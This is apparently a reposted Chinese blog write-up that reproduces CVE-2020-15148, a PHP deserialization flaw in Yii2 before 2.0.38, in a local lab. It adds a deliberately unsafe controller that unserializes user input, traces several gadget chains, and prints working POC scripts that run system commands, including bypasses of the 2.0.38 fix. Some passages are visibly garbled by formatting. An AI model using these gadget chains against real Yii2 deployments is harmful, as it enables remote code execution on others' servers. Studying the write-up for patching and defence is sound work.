Yii2反序列化漏洞复现

Yii2反序列化漏洞复现

CVE-2020-15148

漏洞描述

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。Yii2 2.0.38 以前的版本中存在反序列化漏洞,CVE编号是CVE-2020-15148

环境搭建

github上下载yii22.0.37版本

打开 /config/web.php

image-20220711150722785

给17行的cookieValidationKey添加一个值,随便什么都行

image-20220711151429779

不添加就会这样

php yii serve --port=xxx 启动

image-20220711151913244

显示默认主页,环境搭建成功

image-20220711152341398

2.0.37版本漏洞复现

前置知识

在漏洞复现之前,补充一点yii2框架的前置知识点,yii2调用控制器和方法的格式是

http://url/index.php?r=[控制器]/[方法]

但是这是我们自己搭的环境,什么服务都没有,反序列化也就没有入口点,所以我们自己手动添加一个入口

/controllers 文件夹底下创建一个新的控制器,控制器里面写一个新的action方法,执行传入的aaa变量

注意命名空间

image-20220711180206759

然后在网址界面调用这个我们自定义控制器下面的自定义方法

这里的控制器和action方法命名有严格规范,图中可以明显看出来,不做过多解释

image-20220711180342882

上面我们只是测试了一下自定义控制器能不能正常工作,想要写一个自定义的反序列化入口,还是得这么写

<?php

namespace app\controllers;
use yii\web\Controller;

class HahaController extends Controller{
    
    
    public function actionXixi($aaa){
    
    
        // return phpinfo();
        return unserialize(base64_decode($aaa));
        
    }
}
反序列化链分析

2.0.38版本之前的漏洞是从**/vendor/yiisoft/yii2/db/BatchQueryResult.php里面的BatchQueryResult**类开始的

在开始分析链之前,先看看这些类属性,这些都是可控点,在后面的分析中需要保持敏感

image-20220711182610954

BatchQueryResult类的 __destruct() 是这条链的入口

image-20220711185524505

跟进**reset()**方法

image-20220711185851031

这里调用了 _dataReaderclose()方法,这里跟进了close()之后也找不到可以利用的点,但是 _dataReaderBatchQueryResult类的属性,可控,所以我们可以想办法调用一下某个类的 __call() 方法

在框架里面全局搜索有 __call() 方法的类

image-20220711192250402

其中Generator.php里面的Generator就符合我们的要求,老规矩先看看属性部分

image-20220711222213912

Generator的 **__call()**方法

image-20220711192509477

这里的** m e t h o d ∗ ∗ 是 被 调 用 的 那 个 不 存 在 的 方 法 名 , 在 这 里 就 是 ∗ ∗ c l o s e ∗ ∗ , ∗ ∗ method**是被调用的那个不存在的方法名,在这里就是**close**,** methodcloseattributes**是后面的参数,这里就为空

继续跟进format()方法,这里call_user_func_array已经和目标很接近了

image-20220711222131895

format()方法的两个参数, f o r m a t t e r ∗ ∗ 就 是 上 一 层 的 ∗ ∗ formatter**就是上一层的** formattermethod,即为close a r g u m e n t s ∗ ∗ 也 变 成 了 空 数 组 , ∗ ∗ c a l l u s e r f u n c a r r a y ∗ ∗ 调 用 回 调 函 数 , 第 一 个 参 数 作 为 回 调 函 数 , 后 面 的 ∗ ∗ arguments**也变成了空数组,**call_user_func_array**调用回调函数,第一个参数作为回调函数,后面的** argumentscalluserfuncarrayarguments作为回调函数的参数

继续跟进**getFormatter()**方法

image-20220711223403488

这里的** f o r m a t t e r ∗ ∗ 就 是 上 一 层 的 ∗ ∗ c l o s e ∗ ∗ , 而 ∗ ∗ formatter**就是上一层的**close**,而** formatterclosethis->formatters是我们可控点,也就是说我们可以控制getFormatter()方法的返回值,也就控制了回调函数,但是这里需要注意的是,$arguments**是一个空数组,也就是说,这里我们只能构造出一个无参的方法,想要用无参方法RCE,还需要继续顺着链走

我们目标是找到yii框架内部的一个无参方法,所以使用正则找到一个包含调用call_user_func的方法,call_user_func的作用是把第一个参数作为回调函数调用

function\s\w*\(\)\n?\s*\{
    
    (.*\n)+\s*call_user_func

结果如下

image-20220712123025226

虽然搜到了不少,但是符合要求的也不多,符合要求中比较好利用的就是CreateAction类和IndexAction类里面的run()方法,两个类里面的run()一模一样,这里的 t h i s − > c h e c k A c c e s s ∗ ∗ 和 ∗ ∗ this->checkAccess**和** this>checkAccessthis->id都可控,因此可以直接RCE了

image-20220712125451209

构造POC

我们先用**phpinfo()**作为无参方法测试一下

<?php

namespace yii\db;

use Faker\Generator;

class BatchQueryResult{
    
    
    
    private $_dataReader;
    
    private $_batch;

    public function __construct()
    {
    
    
        $this->_dataReader = new Generator;
    }

}

namespace Faker;

use yii\db\BatchQueryResult;

class Generator{
    
    

    protected $formatters;

    public function __construct()
    {
    
    
        $this->formatters['close'] = 'phpinfo';
    }
}


$aaa = new BatchQueryResult;
echo base64_encode(serialize($aaa));

成功image-20220712134609541

开始正式构造RCEPOC

这里我们用CreateAction类的**run()**作为最后一步

<?php

namespace yii\db;

use Faker\Generator;

class BatchQueryResult{
    
    
    
    private $_dataReader;
    
    public function __construct()
    {
    
    
        $this->_dataReader = new Generator;
    }

}

namespace Faker;

use yii\db\BatchQueryResult;
use yii\rest\CreateAction;

class Generator{
    
    

    protected $formatters;
    public $sss;

    public function __construct()
    {
    
    
        $this->sss = new CreateAction(); //直接创建一个CreateAction类
        $this->formatters['close'] = array($this->sss,'run');
        //call_user_func_array 调用类内部的方法就是在回调函数位置传一个数组
    }
}

namespace yii\rest;

use Yii;
use yii\base\Model;
use yii\db\BatchQueryResult;
use yii\helpers\Url;
use yii\web\ServerErrorHttpException;
//这些都是从源代码复制过来的use,除了use yii\db\BatchQueryResult其他都不需要

class CreateAction{
    
    

    public function __construct()
    {
    
    
        $this->checkAccess = 'system';
        $this->id = 'dir';
    }
}

$aaa = new BatchQueryResult;
echo base64_encode(serialize($aaa));

反序列化成功

image-20220712141551733

这里用IndexAction类基本上一模一样,就不复现了

2.0.38版本利用RunProcess类

版本对比

打开yiigithub查看2.0.382.0.37版本的对比,我们可以看到这里增加了一个**__wake()方法,直接从源头切断了BatchQueryResult**类的反序列化链image-20220712144147880

但是后面Generator类的**__call()方法还是可以继续利用,因此思路就是再找到一个和BatchQueryResult类相似的类,里面包含一个属性可控点方法调用点,根据这个思路,我们可以找到RunProcess**类符合要求

反序列化链分析

RunProcess类的**__destruct()**方法

image-20220712145346537

跟进**stopProcess()**方法

image-20220712145414260

这里的** p r o c e s s − > i s R u n n i n g ( ) ∗ ∗ 和 之 前 ∗ ∗ d a t a R e a d e r ∗ ∗ 的 ∗ ∗ c l o s e ( ) ∗ ∗ 方 法 很 像 , 而 且 ∗ ∗ process->isRunning()**和之前**_dataReader**的**close()**方法很像,而且** process>isRunning()dataReaderclose()process**可控,后面的部分和之前一样

构造POC
<?php

namespace Codeception\Extension;

use Faker\Generator;

class RunProcess{
    
    
    
    private $processes = [];
    
    public function __construct()
    {
    
    
        $this->processes[] = new Generator; //注意$this->processes以数组形式赋值
    }

}

namespace Faker;

use Codeception\Extension\RunProcess;
use yii\rest\CreateAction;

class Generator{
    
    

    protected $formatters;
    public $sss;

    public function __construct()
    {
    
    
        $this->sss = new CreateAction(); //直接创建一个CreateAction类
        $this->formatters['isRunning'] = array($this->sss,'run'); //这里需要修改下方法名
        //call_user_func_array 调用类内部的方法就是在回调函数位置传一个数组
    }
}

namespace yii\rest;

use Codeception\Extension\RunProcess;


class CreateAction{
    
    

    public function __construct()
    {
    
    
        $this->checkAccess = 'system';
        $this->id = 'dir';
    }
}

$aaa = new RunProcess;
echo base64_encode(serialize($aaa));

反序列化成功

image-20220712151225038

2.0.38版本利用__toString()

反序列化链分析

我们的目的还是绕过BatchQueryResult类,这里还有一个DiskKeyCache.phpSwift_KeyCache_DiskKeyCache类可以利用

Swift_KeyCache_DiskKeyCache类的**__destruct()**方法

image-20220712152253916

跟进clearAll()方法,这里可以看到 t h i s − > p a t h ∗ ∗ 被 进 行 了 字 符 串 拼 接 , 而 ∗ ∗ this->path**被进行了字符串拼接,而** this>paththis->path是我们可控的,所以有可能能调用某个类的toString()方法,这里的$nsKey也是我们可控的,所以执行到这个字符串拼接处也不成问题

image-20220712152652263

全局搜索**toString()**方法,目标是找到一个用属性调用方法的

image-20220712153801985

太多能利用的了,往下翻找到的第一个就是XmlBuilder

image-20220712154442818

这里**$this->_dom_依然可以用之前的__call()**方法

构造POC
<?php

namespace Codeception\Util{
    
    
    
    use Faker\Generator;

    class XmlBuilder{
    
    
        protected $__dom__;
    
        public function __construct()
        {
    
    
            $this->__dom__ = new Generator;
        }
    }
}



namespace Faker{
    
    
    use yii\rest\CreateAction;

    class Generator{
    
    
    
        protected $formatters;
        public $sss;
    
        public function __construct()
        {
    
    
            $this->sss = new CreateAction(); //直接创建一个CreateAction类
            $this->formatters['saveXML'] = array($this->sss,'run');
            //call_user_func_array 调用类内部的方法就是在回调函数位置传一个数组
        }
    }
}




namespace yii\rest{
    
    
    class CreateAction{
    
    

        public function __construct()
        {
    
    
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace{
    
      //全局命名空间
    use Codeception\Util\XmlBuilder;

    class Swift_KeyCache_DiskKeyCache{
    
    
    
        private $path;
        private $keys = [];
    
        public function __construct()
        {
    
    
            $this->path = new XmlBuilder;
            $this->keys = ['haha'];
        }
    
    }
    
    
    $aaa = new Swift_KeyCache_DiskKeyCache;
    echo base64_encode(serialize($aaa));
}

反序列化成功

image-20220712162727569

类似**__toString()__call()能利用的还有See**类,Covers类,Deprecated类,Generic类…太多太多了,利用思路都类似

直接转call_user_func的还有个FnStream类,这个思路和之前的后半条链思路类似

猜你喜欢

转载自blog.csdn.net/SimoSimoSimo/article/details/125748708